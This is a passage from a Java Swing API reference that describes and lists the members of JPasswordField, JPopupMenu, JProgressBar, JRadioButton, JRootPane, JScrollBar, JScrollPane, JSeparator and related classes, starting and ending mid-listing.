 | public JPanel (java.awt.LayoutManager layout, boolean isDoubleBuffered); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJPanel
 | public String getUIClassID (); | Overrides:JComponent default:"PanelUI" expert
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJPanel
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JPanel(Accessible)

Subclasses: javax.swing.colorchooser.AbstractColorChooserPanel

JPasswordField | Java 1.2
javax.swing | serializable accessible(text) swing component

This JTextField subclass is designed for entering passwords and other sensitive data. It does not display the characters of the entered text, preventing it from being read by onlookers. Use setEchoChar() to specify the character that should appear (e.g., an asterisk) in place of the characters entered by the user.

JPasswordField overrides and deprecates the getText() method of JTextField. Instead, use getPassword() to obtain the user's input. This method returns an array of characters instead of an immutable String object. This means that after you use the password, you can set the elements of the array to 0 for additional security.

public class JPasswordField extends JTextField {
// | Public Constructors
 | public JPasswordField (); |
 | public JPasswordField (String text); |
 | public JPasswordField (int columns); |
 | public JPasswordField (String text, int columns); |
 | public JPasswordField (javax.swing.text.Document doc, String txt, int columns); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Overrides:JTextField default:AccessibleJPasswordField
 | public char getEchoChar (); | default:*
 | public void setEchoChar (char c); |
 | public char[ ] getPassword (); |
 | public String getUIClassID (); | Overrides:JTextField default:"PasswordFieldUI"
// | Public Instance Methods
 | public boolean echoCharIsSet (); |
// | Protected Methods Overriding JTextField
 | protected String paramString (); |
// | Public Methods Overriding JTextComponent
 | public void copy (); |
 | public void cut (); |
// | Deprecated Public Methods
# | public String getText (); | Overrides:JTextComponent default:""
# | public String getText (int offs, int len) throws javax.swing.text.BadLocationException; | Overrides:JTextComponent
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->javax.swing.text.JTextComponent(Accessible,Scrollable)-->JTextField(SwingConstants)-->JPasswordField

JPopupMenu | Java 1.2
javax.swing | serializable accessible swing component

This component displays a menu of choices in a popup window. It is used both for standalone popup menus that are posted when the user clicks the right mouse button and for the pulldown and pull-right menus that appear when the user selects a JMenu component. JPopupMenu uses a SingleSelectionModel to maintain its selection state.

After you create a JPopupMenu object, you can add items to it with the add() and addSeparator() methods. The java.awt.event.ActionListener of a menu item is notified when that item is selected. After adding items to the menu, you can pop it up at a specified location with the show() method. This is usually done only after calling the isPopupTrigger() method of a java.awt.event.MouseEvent object. The menu automatically pops itself down when the user selects an item or stops interacting with it. Call setLightWeightPopupEnabled() to specify whether the popup should use a lightweight window or a heavyweight native window. Call the static setDefaultLightWeightPopupEnabled() to specify a default behavior for all popup menus.

public class JPopupMenu extends JComponent implements Accessible, MenuElement {
// | Public Constructors
 | public JPopupMenu (); |
 | public JPopupMenu (String label); |
// | Inner Classes
 | ; |
 | ; |
// | Public Class Methods
 | public static boolean getDefaultLightWeightPopupEnabled (); |
 | public static void setDefaultLightWeightPopupEnabled (boolean aFlag); |
// | Event Registration Methods (by event name)
 | public void addPopupMenuListener (javax.swing.event.PopupMenuListener l); |
 | public void removePopupMenuListener (javax.swing.event.PopupMenuListener l); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJPopupMenu
 | public boolean isBorderPainted (); | default:true
 | public void setBorderPainted (boolean b); |
 | public Component getComponent (); | Implements:MenuElement default:JPopupMenu
 | public Component getInvoker (); | default:null
 | public void setInvoker (Component invoker); | expert
 | public String getLabel (); | default:null
 | public void setLabel (String label); | bound
 | public boolean isLightWeightPopupEnabled (); | default:true
 | public void setLightWeightPopupEnabled (boolean aFlag); | expert
 | public java.awt.Insets getMargin (); |
 | public SingleSelectionModel getSelectionModel (); | default:DefaultSingleSelectionModel
 | public void setSelectionModel (SingleSelectionModel model); | expert
 | public MenuElement[ ] getSubElements (); | Implements:MenuElement
 | public javax.swing.plaf.PopupMenuUI getUI (); |
 | public void setUI (javax.swing.plaf.PopupMenuUI ui); | bound expert hidden
 | public String getUIClassID (); | Overrides:JComponent default:"PopupMenuUI"
 | public boolean isVisible (); | Overrides:Component default:false
 | public void setVisible (boolean b); | Overrides:JComponent
// | Public Instance Methods
 | public JMenuItem add (Action a); |
 | public JMenuItem add (JMenuItem menuItem); |
 | public JMenuItem add (String s); |
 | public void addSeparator (); |
 | public Component getComponentAtIndex (int i); |
 | public int getComponentIndex (Component c); |
 | public void insert (Action a, int index); |
 | public void insert (Component component, int index); |
 | public void pack (); |
 | public void setPopupSize (java.awt.Dimension d); |
 | public void setPopupSize (int width, int height); |
 | public void setSelected (Component sel); | expert hidden
 | public void show (Component invoker, int x, int y); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJPopupMenu
// | Methods Implementing MenuElement
 | public Component getComponent (); | default:JPopupMenu
 | public MenuElement[ ] getSubElements (); |
 | public void menuSelectionChanged (boolean isIncluded); |
 | public void processKeyEvent (java.awt.event.KeyEvent e, MenuElement[ ] path, MenuSelectionManager manager); | empty
 | public void processMouseEvent (java.awt.event.MouseEvent event, MenuElement[ ] path, MenuSelectionManager manager); | empty
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected void paintBorder (java.awt.Graphics g); |
 | protected String paramString (); |
// | Public Methods Overriding Container
 | public void remove (Component comp); |
 | public void remove (int pos); |
// | Public Methods Overriding Component
 | public void setLocation (int x, int y); |
// | Protected Instance Methods
 | protected java.beans.PropertyChangeListener createActionChangeListener (JMenuItem b); |
 | protected void firePopupMenuCanceled (); |
 | protected void firePopupMenuWillBecomeInvisible (); |
 | protected void firePopupMenuWillBecomeVisible (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JPopupMenu(Accessible,MenuElement)

Passed To: JMenu.createWinListener(), JMenu.WinListener.WinListener()

Returned By: JMenu.getPopupMenu()

JPopupMenu.Separator | Java 1.2
javax.swing | serializable accessible swing component

This inner class is a JSeparator component customized for use in JPopupMenu components. The addSeparator() method of JPopupMenu returns an instance of this class. This class is a trivial subclass of JSeparator that does nothing except to override the UI delegate class name and ensure that the separator is never vertical. Application-level code never needs to use this class.

public static class JPopupMenu.Separator extends JSeparator {
// | Public Constructors
 | public Separator (); |
// | Property Accessor Methods (by property name)
 | public String getUIClassID (); | Overrides:JSeparator
}
JProgressBar | Java 1.2
javax.swing | serializable accessible(value) swing component

This class implements a progress bar: a component that graphically displays a non-adjustable integer value. It is typically used to display a program's progress on some time consuming task, but can also be used to simulate the display of a graphic equalizer, for example. ProgressMonitor is a useful class that displays a JProgressBar in a dialog box.

Like JScrollBar and JSlider, JProgressBar uses a BoundedRangeModel to maintain its state. The value property is the most important; it specifies the currently displayed value. JProgressBar fires a javax.swing.event.ChangeEvent when its value property changes. value must be between the minimum and maximum values. The orientation property should be one of the HORIZONTAL or VERTICAL constants defined by SwingConstants. Set the borderPainted property to false if you do not want the JProgressBar to display a border around itself.

public class JProgressBar extends JComponent implements Accessible, SwingConstants {
// | Public Constructors
 | public JProgressBar (); |
 | public JProgressBar (BoundedRangeModel newModel); |
 | public JProgressBar (int orient); |
 | public JProgressBar (int min, int max); |
 | public JProgressBar (int orient, int min, int max); |
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJProgressBar expert
 | public boolean isBorderPainted (); | default:true
 | public void setBorderPainted (boolean b); | bound
 | public int getMaximum (); | default:100
 | public void setMaximum (int n); | preferred
 | public int getMinimum (); | default:0
 | public void setMinimum (int n); | preferred
 | public BoundedRangeModel getModel (); | default:DefaultBoundedRangeModel
 | public void setModel (BoundedRangeModel newModel); | expert
 | public int getOrientation (); | default:0
 | public void setOrientation (int newOrientation); | bound preferred
 | public double getPercentComplete (); | default:0.0
 | public String getString (); | default:"0%"
 | public void setString (String s); | bound
 | public boolean isStringPainted (); | default:false
 | public void setStringPainted (boolean b); | bound
 | public javax.swing.plaf.ProgressBarUI getUI (); |
 | public void setUI (javax.swing.plaf.ProgressBarUI ui); | expert
 | public String getUIClassID (); | Overrides:JComponent default:"ProgressBarUI" expert
 | public int getValue (); | default:0
 | public void setValue (int n); | preferred
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJProgressBar expert
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected void paintBorder (java.awt.Graphics g); |
 | protected String paramString (); |
// | Protected Instance Methods
 | protected javax.swing.event.ChangeListener createChangeListener (); |
 | protected void fireStateChanged (); |
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected javax.swing.event.ChangeListener changeListener ; |
 | protected BoundedRangeModel model ; |
 | protected int orientation ; |
 | protected boolean paintBorder ; |
 | protected boolean paintString ; |
 | protected String progressString ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JProgressBar(Accessible,SwingConstants)

JRadioButton | Java 1.2
javax.swing | serializable accessible(action,value) swing component

This class implements a radio button: a toggle button with default graphics that indicate mutually exclusive behavior. Because JRadioButton supplies its own default and selected icons, you typically do not use the constructors that take Icon arguments. The selection state of a JRadioButton is stored in a JToggleButton.ToggleButtonModel object by default. The initial selection state can be specified in the call to the constructor. The current state can be set with setSelected() and queried with isSelected().

The default graphics of the JRadioButton are designed to indicate to the user that the button represents one of a group of mutually exclusive choices. (The name "radio button" refers to the mechanical station-preset buttons on old-style car radios: only one button could be pressed at a time.) JRadioButton does not implement or enforce mutual exclusion; this is done by adding JRadioButton components to a ButtonGroup object.

public class JRadioButton extends JToggleButton implements Accessible {
// | Public Constructors
 | public JRadioButton (); |
 | public JRadioButton (Icon icon); |
 | public JRadioButton (String text); |
 | public JRadioButton (String text, Icon icon); |
 | public JRadioButton (Icon icon, boolean selected); |
 | public JRadioButton (String text, boolean selected); |
 | public JRadioButton (String text, Icon icon, boolean selected); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJRadioButton expert
 | public String getUIClassID (); | Overrides:JToggleButton default:"RadioButtonUI" expert
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJRadioButton expert
// | Public Methods Overriding JToggleButton
 | public void updateUI (); |
// | Protected Methods Overriding JToggleButton
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->AbstractButton(java.awt.ItemSelectable,SwingConstants)-->JToggleButton(Accessible)-->JRadioButton(Accessible)

JRadioButtonMenuItem | Java 1.2
javax.swing | serializable accessible(action,value) swing component

This class implements a radio button that appears within a pulldown or popup menu. Its use is similar to that of JRadioButton. Use isSelected() to query the selection state of the menu item and setSelected() to select or deselect the item. By default, the selection state is stored in a JToggleButton.ToggleButtonModel object. Note that JRadioButtonMenuItem, like JRadioButton, does not implement mutually exclusive selection behavior on its own. Each JRadioButtonMenuItem in a mutually exclusive selection group must be added to a corresponding ButtonGroup object. It is this ButtonGroup that enforces mutual exclusion.

public class JRadioButtonMenuItem extends JMenuItem implements Accessible {
// | Public Constructors
 | public JRadioButtonMenuItem (); |
 | public JRadioButtonMenuItem (Icon icon); |
 | public JRadioButtonMenuItem (String text); |
 | public JRadioButtonMenuItem (String text, Icon icon); |
 | public JRadioButtonMenuItem (Icon icon, boolean selected); |
 | public JRadioButtonMenuItem (String text, boolean b); |
 | public JRadioButtonMenuItem (String text, Icon icon, boolean selected); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJRadioButtonMenuItem
 | public String getUIClassID (); | Overrides:JMenuItem
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJRadioButtonMenuItem
// | Protected Methods Overriding JMenuItem
 | protected String paramString (); |
// | Public Methods Overriding JComponent
 | public void requestFocus (); | empty
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->AbstractButton(java.awt.ItemSelectable,SwingConstants)-->JMenuItem(Accessible,MenuElement)-->JRadioButtonMenuItem(Accessible)

JRootPane | Java 1.2
javax.swing | serializable accessible swing component

This component is used internally by all the top-level Swing containers: JWindow, JFrame, JDialog, JApplet, and JInternalFrame. Most applications can simply use these top-level containers; they never need to use JRootPane directly.

JRootPane is a container that manages a fixed hierarchy of children, including a content pane and an optional menubar. You cannot add children directly to a JRootPane; instead, you must add them to the container returned by its getContentPane() method. Each of the top-level Swing containers that uses a JRootPane also provides a getContentPane() method that returns the content pane of its JRootPane. Similarly, to add a menubar to a JRootPane or top-level container that uses JRootPane, you can use the setJMenuBar() method. JRootPane has a custom layout manager that manages its various children. You should not try to set your own layout manager on a JRootPane--instead, set it on the content pane.

The content pane and menubar are not actually direct children of the JRootPane. Instead, they are children of a JLayeredPane that is itself a child of the JRootPane. The JLayeredPane of a JRootPane provides the layering features required for Swing to implement modal dialogs, floating palettes, popup menus, tooltips, and drag-and-drop-style graphical effects. These features are used internally by Swing; only very advanced applications need to use them directly.

In addition to its JLayeredPane, a JRootPane also contains another child, known as the glass pane. This child fills the entire JRootPane and sits on top of the JLayeredPane. The glass pane either must be hidden or must be a transparent component. Otherwise it obscures all other contents of the JRootPane. The glass pane can be used both to intercept mouse events destined for other components within the JRootPane and for the temporary display of graphics on top of the components of a JRootPane. Again, these glass pane features are used internally by Swing, and only advanced applications need to use them directly.

public class JRootPane extends JComponent implements Accessible {
// | Public Constructors
 | public JRootPane (); |
// | Inner Classes
 | ; |
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJRootPane
 | public Container getContentPane (); | default:JPanel
 | public void setContentPane (Container content); |
 | public JButton getDefaultButton (); | default:null
 | public void setDefaultButton (JButton defaultButton); |
 | public boolean isFocusCycleRoot (); | Overrides:JComponent constant default:true
 | public Component getGlassPane (); | default:JPanel
 | public void setGlassPane (Component glass); |
 | public JMenuBar getJMenuBar (); | default:null
 | public void setJMenuBar (JMenuBar menu); |
 | public JLayeredPane getLayeredPane (); |
 | public void setLayeredPane (JLayeredPane layered); |
 | public boolean isValidateRoot (); | Overrides:JComponent constant default:true
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJRootPane
// | Public Methods Overriding JComponent
 | public void addNotify (); |
 | public void removeNotify (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Public Methods Overriding Container
 | public Component findComponentAt (int x, int y); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component comp, Object constraints, int index); |
// | Protected Instance Methods
 | protected Container createContentPane (); |
 | protected Component createGlassPane (); |
 | protected JLayeredPane createLayeredPane (); |
 | protected java.awt.LayoutManager createRootLayout (); |
// | Protected Instance Fields
 | protected Container contentPane ; |
 | protected JButton defaultButton ; |
 | protected JRootPane.DefaultAction defaultPressAction ; |
 | protected JRootPane.DefaultAction defaultReleaseAction ; |
 | protected Component glassPane ; |
 | protected JLayeredPane layeredPane ; |
 | protected JMenuBar menuBar ; |
// | Deprecated Public Methods
# | public JMenuBar getMenuBar (); | default:null
# | public void setMenuBar (JMenuBar menu); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JRootPane(Accessible)

Passed To: JApplet.setRootPane(), JDialog.setRootPane(), JFrame.setRootPane(), JInternalFrame.setRootPane(), JWindow.setRootPane()

Returned By: JApplet.{createRootPane(), getRootPane()}, JComponent.getRootPane(), JDialog.{createRootPane(), getRootPane()}, JFrame.{createRootPane(), getRootPane()}, JInternalFrame.{createRootPane(), getRootPane()}, JWindow.{createRootPane(), getRootPane()}, RootPaneContainer.getRootPane(), SwingUtilities.getRootPane()

Type Of: JApplet.rootPane, JDialog.rootPane, JFrame.rootPane, JInternalFrame.rootPane, JWindow.rootPane

JRootPane.RootLayout | Java 1.2
javax.swing | serializable layout manager

This protected inner class is a custom java.awt.LayoutManager that is responsible for the layout of the children of a JRootPane. Application-level code never needs to use this class.

protected class JRootPane.RootLayout implements java.awt.LayoutManager2, Serializable {
// | Protected Constructors
 | protected RootLayout (); |
// | Methods Implementing LayoutManager
 | public void addLayoutComponent (String name, Component comp); | empty
 | public void layoutContainer (Container parent); |
 | public java.awt.Dimension minimumLayoutSize (Container parent); |
 | public java.awt.Dimension preferredLayoutSize (Container parent); |
 | public void removeLayoutComponent (Component comp); | empty
// | Methods Implementing LayoutManager2
 | public void addLayoutComponent (Component comp, Object constraints); | empty
 | public float getLayoutAlignmentX (Container target); | constant
 | public float getLayoutAlignmentY (Container target); | constant
 | public void invalidateLayout (Container target); | empty
 | public java.awt.Dimension maximumLayoutSize (Container target); |
}
JScrollBar | Java 1.2
javax.swing | serializable accessible(value) swing component

This class implements a scrollbar component that can be used to scroll the visible region of some entity, within a maximum and a minimum range. The minimum and maximum properties specify the range within which scrolling takes place. The value property specifies the current value of the scrollbar--the beginning of the visible region. visibleAmount specifies how much of the range is visible at once and also specifies the size of the displayed thumb, or knob, of the scrollbar. The values of these properties are all stored in a BoundedRangeModel object. JScrollBar uses DefaultBoundedRangeModel by default. (The visibleAmount property corresponds to the extent property of BoundedRangeModel.) The orientation property specifies whether the JScrollBar is a horizontal or a vertical scrollbar. Use either the HORIZONTAL or the VERTICAL constant defined by the SwingConstants interface. unitIncrement specifies the amount by which the scrollbar thumb should move when the user clicks on the arrows at either end of the scrollbar. The default is 1. The blockIncrement property specifies the amount that the scrollbar should move when the user scrolls a block at a time (how this is accomplished varies in different look-and-feels).

JScrollBar fires a java.awt.event.AdjustmentEvent when one of the value, minimum, maximum, visibleAmount, or valueIsAdjusting properties changes. Some programs may prefer to instead handle the javax.swing.event.ChangeEvent events generated by the model of the JScrollBar. In either case, if the valueIsAdjusting property of the JScrollBar or its model is true, the change is one in a series of changes. Listeners that prefer not to track these transient changes can ignore events when valueIsAdjusting is true.

public class JScrollBar extends JComponent implements Accessible, java.awt.Adjustable {
// | Public Constructors
 | public JScrollBar (); |
 | public JScrollBar (int orientation); |
 | public JScrollBar (int orientation, int value, int extent, int min, int max); |
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addAdjustmentListener (java.awt.event.AdjustmentListener l); | Implements:Adjustable
 | public void removeAdjustmentListener (java.awt.event.AdjustmentListener l); | Implements:Adjustable
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJScrollBar
 | public int getBlockIncrement (); | Implements:Adjustable default:10
 | public int getBlockIncrement (int direction); |
 | public void setBlockIncrement (int blockIncrement); | Implements:Adjustable bound preferred
 | public int getMaximum (); | Implements:Adjustable default:100
 | public void setMaximum (int maximum); | Implements:Adjustable preferred
 | public java.awt.Dimension getMaximumSize (); | Overrides:JComponent
 | public int getMinimum (); | Implements:Adjustable default:0
 | public void setMinimum (int minimum); | Implements:Adjustable preferred
 | public java.awt.Dimension getMinimumSize (); | Overrides:JComponent
 | public BoundedRangeModel getModel (); | default:DefaultBoundedRangeModel
 | public void setModel (BoundedRangeModel newModel); | bound expert
 | public int getOrientation (); | Implements:Adjustable default:1
 | public void setOrientation (int orientation); | bound preferred
 | public javax.swing.plaf.ScrollBarUI getUI (); |
 | public String getUIClassID (); | Overrides:JComponent default:"ScrollBarUI"
 | public int getUnitIncrement (); | Implements:Adjustable default:1
 | public int getUnitIncrement (int direction); |
 | public void setUnitIncrement (int unitIncrement); | Implements:Adjustable bound preferred
 | public int getValue (); | Implements:Adjustable default:0
 | public void setValue (int value); | Implements:Adjustable preferred
 | public boolean getValueIsAdjusting (); | default:false
 | public void setValueIsAdjusting (boolean b); | expert
 | public int getVisibleAmount (); | Implements:Adjustable default:10
 | public void setVisibleAmount (int extent); | Implements:Adjustable preferred
// | Public Instance Methods
 | public void setValues (int newValue, int newExtent, int newMin, int newMax); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJScrollBar
// | Public Methods Overriding JComponent
 | public void setEnabled (boolean x); |
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected void fireAdjustmentValueChanged (int id, int type, int value); |
// | Protected Instance Fields
 | protected int blockIncrement ; |
 | protected BoundedRangeModel model ; |
 | protected int orientation ; |
 | protected int unitIncrement ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JScrollBar(Accessible,java.awt.Adjustable)

Subclasses: JScrollPane.ScrollBar

Passed To: JScrollPane.{setHorizontalScrollBar(), setVerticalScrollBar()}

Returned By: JScrollPane.{createHorizontalScrollBar(), createVerticalScrollBar(), getHorizontalScrollBar(), getVerticalScrollBar()}, ScrollPaneLayout.{getHorizontalScrollBar(), getVerticalScrollBar()}

Type Of: JScrollPane.{horizontalScrollBar, verticalScrollBar}, ScrollPaneLayout.{hsb, vsb}

JScrollPane | Java 1.2
javax.swing | serializable accessible swing component bean container

This class is a container that allows a child component to be scrolled horizontally and vertically. The component to be scrolled is not a direct child of the JScrollPane, so it must not be added directly with the add() method. Instead, it is a child of a JViewport contained within the JScrollPane. You specify the component to be scrolled by passing it to the JScrollPane() constructor or to the setViewportView() method. Any type of component can be used within a JScrollPane, but components that implement the Scrollable interface work best. The horizontalScrollBarPolicy and verticalScrollBarPolicy properties control the policy for displaying scrollbars. The legal values are the various ALWAYS, AS_NEEDED, and NEVER constants defined by the ScrollPaneConstants interface. Another useful property is viewportBorder, which allows you to specify a border to appear around the JViewport that contains the component being scrolled.

In addition to the main scrolled component, JScrollPane supports column header and row header components. The column header appears above the main scrolling component and scrolls horizontally, but not vertically, so that it is always visible at the top of the JScrollPane. Similarly, the row header component scrolls vertically but not horizontally, so it is always visible at the left of the JScrollPane. Specify the row and column header components with setColumnHeaderView() and setRowHeaderView(). The JScrollPane can also display arbitrary components in each of its four corners. Use setCorner() to specify a component for a corner. The ScrollPaneConstants interface defines constants that specify which corner a component should appear in. Note that the space available in the corners of a JScrollPane is determined by the width of the scrollbars and the widths of the column and row headers, if any. The layout management of the scrollable JViewport, the scrollbars, the column and row headers, and the corners is provided by the ScrollPaneLayout class, a specialized java.awt.LayoutManager.

See also the JScrollBar and JViewport components, the ScrollPaneLayout layout manager, and the Scrollable and ScrollPaneConstants interfaces.

public class JScrollPane extends JComponent implements Accessible, ScrollPaneConstants {
// | Public Constructors
 | public JScrollPane (); |
 | public JScrollPane (Component view); |
 | public JScrollPane (int vsbPolicy, int hsbPolicy); |
 | public JScrollPane (Component view, int vsbPolicy, int hsbPolicy); |
// | Inner Classes
 | ; |
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJScrollPane
 | public JViewport getColumnHeader (); | default:null
 | public void setColumnHeader (JViewport columnHeader); | bound
 | public JScrollBar getHorizontalScrollBar (); | default:ScrollBar
 | public void setHorizontalScrollBar (JScrollBar horizontalScrollBar); | bound expert
 | public int getHorizontalScrollBarPolicy (); | default:30
 | public void setHorizontalScrollBarPolicy (int policy); | bound preferred
 | public void setLayout (java.awt.LayoutManager layout); | Overrides:Container hidden
 | public boolean isOpaque (); | Overrides:JComponent default:false
 | public JViewport getRowHeader (); | default:null
 | public void setRowHeader (JViewport rowHeader); | bound expert
 | public javax.swing.plaf.ScrollPaneUI getUI (); |
 | public void setUI (javax.swing.plaf.ScrollPaneUI ui); |
 | public String getUIClassID (); | Overrides:JComponent default:"ScrollPaneUI" hidden
 | public boolean isValidateRoot (); | Overrides:JComponent constant default:true hidden
 | public JScrollBar getVerticalScrollBar (); | default:ScrollBar
 | public void setVerticalScrollBar (JScrollBar verticalScrollBar); | bound expert
 | public int getVerticalScrollBarPolicy (); | default:20
 | public void setVerticalScrollBarPolicy (int policy); | bound preferred
 | public JViewport getViewport (); |
 | public void setViewport (JViewport viewport); | bound expert
 | public javax.swing.border.Border getViewportBorder (); | default:null
 | public void setViewportBorder (javax.swing.border.Border viewportBorder); | bound preferred
 | public java.awt.Rectangle getViewportBorderBounds (); |
// | Public Instance Methods
 | public JScrollBar createHorizontalScrollBar (); |
 | public JScrollBar createVerticalScrollBar (); |
 | public Component getCorner (String key); |
 | public void setColumnHeaderView (Component view); |
 | public void setCorner (String key, Component corner); |
 | public void setRowHeaderView (Component view); |
 | public void setViewportView (Component view); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJScrollPane
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected JViewport createViewport (); |
// | Protected Instance Fields
 | protected JViewport columnHeader ; |
 | protected JScrollBar horizontalScrollBar ; |
 | protected int horizontalScrollBarPolicy ; |
 | protected Component lowerLeft ; |
 | protected Component lowerRight ; |
 | protected JViewport rowHeader ; |
 | protected Component upperLeft ; |
 | protected Component upperRight ; |
 | protected JScrollBar verticalScrollBar ; |
 | protected int verticalScrollBarPolicy ; |
 | protected JViewport viewport ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JScrollPane(Accessible,ScrollPaneConstants)

Passed To: ScrollPaneLayout.{getViewportBorderBounds(), syncWithScrollPane()}

Returned By: JTable.createScrollPaneForTable()

JScrollPane.ScrollBar | Java 1.2
javax.swing | serializable accessible(action) swing component

This protected inner class is a trivial subclass of JScrollBar that is used for the scrollbars of a JScrollPane. This subclass exists for two simple reasons: to implement the javax.swing.plaf.UIResource interface and to make the scrollbars work with the Scrollable interface. Application-level code never needs to use this class.

protected class JScrollPane.ScrollBar extends JScrollBar implements javax.swing.plaf.UIResource {
// | Public Constructors
 | public ScrollBar (int orientation); |
// | Property Accessor Methods (by property name)
 | public void setBlockIncrement (int blockIncrement); | Overrides:JScrollBar
 | public void setUnitIncrement (int unitIncrement); | Overrides:JScrollBar
// | Public Methods Overriding JScrollBar
 | public int getBlockIncrement (int direction); |
 | public int getUnitIncrement (int direction); |
}
JSeparator | Java 1.2
javax.swing | serializable accessible swing component

This simple component draws a horizontal or vertical line that is as wide or as tall as the component itself. The orientation property is the only property of interest. It should be SwingConstants.HORIZONTAL or SwingConstants.VERTICAL. There are no properties controlling the thickness, color, or other attributes of the JSeparator. Separator objects are commonly used in JPopupMenu and JToolBar components. Note, however, that these components define addSeparator() methods and implement custom subclasses of JSeparator. These custom subclasses have their own UI delegate subclasses, which allows them to provide a visual appearance precisely tailored for menus and toolbars.

public class JSeparator extends JComponent implements Accessible, SwingConstants {
// | Public Constructors
 | public JSeparator (); |
 | public JSeparator (int orientation); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJSeparator
 | public boolean isFocusTraversable (); | Overrides:JComponent constant default:false
 | public int getOrientation (); | default:0
 | public void setOrientation (int orientation); | bound preferred
 | public javax.swing.plaf.SeparatorUI getUI (); |
 | public void setUI (javax.swing.plaf.SeparatorUI ui); | bound expert hidden
 | public String getUIClassID (); | Overrides:JComponent default:"SeparatorUI"
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJSeparator
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JSeparator(Accessible,SwingConstants)

Subclasses: JPopupMenu.Separator, JToolBar.Separator

JSlider | Java 1.2
javax.swing | serializable accessible(value) swing component

This class implements a component that allows the user to drag a knob, or pointer, in order to graphically adjust an integer value. The minimum and maximum properties specify the range of the slider, and the value property specifies the current value. extent specifies the width of the knob and also an adjustment increment. The values of these properties are maintained by a BoundedRangeModel object. By default, JSlider uses a DefaultBoundedRangeModel object. orientation specifies the orientation of the slider; it should be one of the SwingConstants values HORIZONTAL or VERTICAL. If the inverted property is true, the range is inverted to run from right to left or from top to bottom.

A JSlider can display optional tick marks and labels along its length. The paintTicks and paintLabels properties specify whether they should be displayed. majorTickSpacing and minorTickSpacing specify the spacing of long and short tick marks. Note that these spacings are measured in the coordinate space defined by the JSlider minimum and maximum value; they are not pixel spacings. If the snapToTicks property is set true, the user can only adjust the value property to a value at which a tick mark appears. If you set paintLabels and majorTickSpacing, the JSlider automatically displays a numeric label for each major tick mark. You can call createStandardLabels() to force this behavior, even when tick marks are not displayed. You can also specify custom labels by setting the labelTable property to a java.util.Dictionary that maps Integer coordinates to JComponent labels.

A JSlider fires a javax.swing.event.ChangeEvent when one of its value, maximum, minimum, extent, or valueIsAdjusting properties changes. If valueIsAdjusting is true when an event is fired, it means that the event is one of a series of changes. Listeners that do not want to track these rapid-fire transient changes can ignore them.

public class JSlider extends JComponent implements Accessible, SwingConstants {
// | Public Constructors
